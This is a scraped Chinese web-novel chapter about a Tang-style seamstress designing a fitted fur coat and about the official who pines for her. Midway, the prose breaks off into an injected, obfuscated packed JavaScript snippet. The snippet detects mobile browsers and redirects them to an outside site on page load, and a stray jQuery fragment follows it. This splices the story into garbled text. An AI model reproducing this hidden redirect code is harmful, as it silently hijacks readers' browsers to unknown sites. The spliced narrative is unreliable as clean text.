默认冷灰
24号文字
方正启体

58.什么是依仗?

作者:长老的女儿本书字数:K更新时间:
    三个小姑娘正在喝她烧肉时用的老黄酒,喝得脸庞通红,喜笑颜开。沈知微看她们的情态,赶紧阻拦那未尽的酒意,尤其是阿锦,她还得回家。


    “喝一点暖和,一会儿家下路上抗寒。”阿锦望了眼窗外俏生生说。


    沈知微也往外望去,忽见街角晃过件玄狐大氅,那贵妇努力拽着大氅边边角角,将自己裹得活似个毛球。然则靠手拉扯用处似乎有限,北风一吹,狐毛领子里灌满雪粒子,冻得她一个激灵。


    “暴殄天物啊...”她望着那油光水滑的狐裘,想起前世专柜里那些优雅的收腰大衣,“若是裁成掐腰窄袖的款式,缀上各色玉钮...”


    沈知微想着想着,将心中所思自言自语了出来。


    “娘子,贵妇们都讲究宽袍大袖,这窄腰身不成胡服了?”一旁开始收拾台面案几的阿锦听见,好奇问。


    沈知微眼波一转,忽然执起银剪将一块厚布料的样片裁作弧形:“阿锦可记得前几个月,灵昌公主着马球装骑马路过咱门口?”


    “那个故意想来挑事儿又不知道为啥急急跑了的公主?”巧儿插一嘴。


    沈知微一愣,心道:是啊,灵昌公主那日似乎是想来耀武扬威,莫不是因为崔怀瑾的缘故?


    跑题了!她撤回一个思绪,将样片往前些时日请木匠张做得二分之一人台肩头一披,“假设这是裘皮,咱们不要阔版披风,加上袖子。对,就是给大氅加袖子...”


    话音未落,前院忽然传来踏雪的声音,原来是阿程冒着风雪来接妹子。


    “哥!”阿锦冲阿程奔去,如幼鸟投林。


    沈知微却盯着他冻红的脖颈眼睛发亮:“快把兜鍪摘下来!”众人愕然间,她已把布料样片围在阿程颈间,“瞧,做成立领,这般弧线紧密裹住脖颈和肩颈,既挡风又不显臃肿。"


    几个小丫头望着沈知微目瞪口呆,阿程刷一下脸红得能滴出血来。


    “娘、娘子!”阿程涨红着脸后退,后腰撞上案几震得碗盏叮当。


    沈知微这才惊觉自己逾矩,耳尖绯红却强作镇定,示意阿锦去给她哥哥也盛碗羊肉。“明日去‘华采坊’,我得和三娘说说。这衣裳该叫...”她望着窗外纷扬大雪,前世记忆与今生图样在脑中交织,“大衣!"


    --------------


    翌日·华采坊


    鎏金香球在手上滴溜溜打转,庞三娘捏着沈知微递来的图样,九转金丝镯碰在案几上‘叮咚’一声响:“你要把银狐裘裁成胡服样式?这倒是新奇...”


    熬了半个通宵赶制样衣的沈知微,站在‘华采坊’內和庞三娘讲自己的创意。她虽然红着一双眼睛,但精神头却很亢奋。


    “非也。”沈知微抖开样衣,“这是改良的大氅,或者我们可以完全不必称呼它为大氅。三娘且看这腰线,比寻常襦裙低三分,整体穿于身上而非披覆于身上,贴合身线的剪裁让它更利于保暖也更展示身型。”


    她忽然将样衣往自己身上一披,素色布料立刻勾勒出流畅曲线,“用素锦做里衬,掐腰处暗藏三对内扣。”她指尖划过侧襟,“若是换成玄狐裘甚至貂裘,钮子便用黑曜玉。白狐裘则用白玉兰,若是赤色,啊…赤色狐裘可是难得的很…”


    庞三娘难得见沈知微如此兴奋,对着素布样衣畅想锦帽貂裘,不由‘扑哧’笑了出来。


    沈知微也笑了起来,敛下些许情绪,继续道:“三娘且看这立领——”


    铜镜里映出个颀长身影,立领裹着修长脖颈。庞三娘围着沈知微转了半圈,沈知微配合地抬起双手展示——那袖子、上裳紧紧包裹着双臂,可保风罐不进袖口,非常保暖。


    “妙极!”庞三娘抚过袖口暗藏的葡萄扣,“这立领倒是新奇,这腰身...冬日也不显得臃肿。”


    “是也!”沈知微笑着点头,“前日见个胡商戴着翻毛领兜鍪,倒给了我启发。”沈知微将麻布领口翻折,露出内里暗藏的夹层,“您瞧,这般翻叠立领,既挡风又不显笨重,如果天气暖和,也可以放下来,这样就是一个小圆领。”


    她忽然压低声音,“听闻王妃畏寒,冬日总要嫌天冷懒怠裹得左三层右三层...我是想,给王妃呈送‘丝路珍物大展’礼服时,再进献上一件‘大衣’,嗯,这种衣服可换做‘大衣’!”


    庞三娘沉默片刻,目光向窗外凝去,但见街边停着的棉绸马车上,裹着紫貂大氅的贵妇正艰难弯腰,臃肿皮毛险些挂在车门边角处。沈知微顺着她的目光也看了过去,见此情景道:“若换成咱们的掐腰款...”手指在空中划出流畅弧线,“行动时衣摆如流云,静立时保暖有型..."


    “给王妃那件,用暗赤色狐皮如何?"庞三娘猛地攥紧香球,鎏金链子哗啦作响。


    沈知微心头一跳,火狐皮价比千金,可是有点下血本啊。


    庞三娘忽然轻笑:“王妃的性子… 咱既然要进献,就得既合礼制,又艳压群芳。”她从沈知微手上抽走她已脱下的样衣细看,“只是这狐裘不比麻布,针脚稍有不齐便会损了毛色。”


    “所以得用苏绣的抢针法,针脚藏在毛丛间。”沈知微走到雅间外,冲着楼下的方向朗声问:“掌柜的,有没有狐裘的边角废料?”


    “有有!”不一会儿,掌柜的亲自呈送上各色狐裘边角料各一小块。


    沈知微在身边多宝阁上针线匣内挑选银针一枚,在皮毛间穿梭竟不见针孔,“你看,这般缝制既牢固又不显线迹。”


    熏炉青烟袅袅升起,庞三娘抚过样衣按扣:“且做件小的试试。”她忽然压低声音,“用你铺子里那小人台,”她扭头对送完狐裘边角料后候在一旁的掌柜说:“取那张雪狐皮给沈娘子。”


    “好极,正巧余料给王妃的拂菻犬做件裘衣!”沈知微眼睛一亮,“若那小东西穿着在赏雪宴上跑一圈...”


    二人相视而笑。窗外偶尔飘进几个的零星雪粒子落在炭笔绘制的腰线上,很快洇出个墨色漩涡。


    从‘华采坊’二楼,看长安城银装素裹,指尖无意识描画着窗棂上的冰花,那人的面容忽在琉璃影里浮现——沈知微摩挲着袖内那枚鎏金牌,心中漾起丝丝缕缕微妙的情绪。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291936|161931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>崔怀瑾…


    她忽然握掌攥紧金牌,棱角刺痛掌心——门不当户不对的,不过是各取所需,何至于此?


    现在她与礼部固然建立了一丝难以言述的合作关系,可长久看来,她并无依仗官家的资本。可如若通过打动这长安城贵妇们的爱美之心,以穿上她沈知微设计的衣饰为荣,才是真正的风向标。


    回到‘锦童斋’,铺子里传来孩童们的嬉闹声。沈知微将鎏金牌重重按回香囊,不再感受它的存在。转而抓起鼠须笔在稿纸上疾书。狐裘大衣的图样渐渐被新灵感覆盖——对襟盘扣、珍珠滚边、暗绣流云纹...笔尖越来越急…思绪再度飞扬。


    ------------------


    江南道·别馆


    崔怀瑾推开雕花槛窗,檐角铜铃正巧被江风撞出串清音。窗外一株老梅开了花,幽香混着龙脑香在室内浮沉。


    他裹紧夹袄的狐毛领子——这江南的冷原是浸在烟雨里的,不似长安朔风割面,却如蛛丝般缠着肌理往骨缝里渗。贡院别馆临水而建的青砖地泛着潮气,连案头那方端砚都洇出墨梅似的纹路。


    “郎君,扬州府刚送来的急递。”随从阿策捧着玄色木托盘进来,信笺上尚凝着湿气,显然是一路快马加鞭从驿站送来。崔怀瑾用裁刀挑开火漆封印取出书信——里面大大小小近十封密封信笺。


    首先读完来自礼部尚书的一封函件后,崔怀瑾看了看那叠信笺中其余的部分,一眼看见礼部司郎中刘清的笔迹。他迅速打开信笺,一目十行跳过前面的寒暄,目光凝结在关于国服修补内容上。崔怀瑾眉峰微蹙,信中说按沈娘子的指导,将国服覆在人台上,总算是完美补好了破损的龙团纹部分,并恢复了国服的适穿性。可上浆环节却又生出事端,这一次沈娘子也束手无策...


    崔怀瑾指尖无意识摩挲着信笺边沿。‘沈知微’三个字在日光下泛着温润的光,他的视线在其上几度流连。案头沉香袅袅升腾,恍惚间又嗅到那日马车里纠缠的暗香——她发间苏合是暖融融的骄阳,他袖间沉水是清泠泠的霜雪,在衣袂相触的刹那融作春日初霁的晨雾。


    记忆里鎏金牌坠落的声响格外清晰,她俯身去拾时鸦青发丝扫过织手背的触感,仿佛江南烟雨掠过面颊。她耳垂上明月珰随动作轻晃,晃碎了他端方持重的倒影。


    他不知自己如何说出“都随你”,只觉得喉间辗转的三个字沾满甜意,比那杏花酿更醉人。待她望向他,长安城的春夜忽而褪了颜色,唯余灯影在她眸中碎成星子。车帘外飘来的梅花瓣沾在她肩头,竟比鎏金牌更灼人眼目。


    崔怀瑾闭目揉着眉心,却揉不散记忆里衣袖拂过的暖意——分明是料峭冬寒,为何望着信笺上‘沈知微’三个字,喉间便无端漫上暖意?


    笔锋悬在‘不要为难锦童斋’处顿了顿,又添了句‘浆料可试蜀椒煮浆’,这是他从《齐民要术》里看来的古法。


    墨迹未干时又想起那日她指尖掠过回纥国服的模样,窗外老梅忽地簌簌落了几瓣,正巧跌在‘锦童斋’三字上,倒像是给这冷硬的公文添了抹胭脂色。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)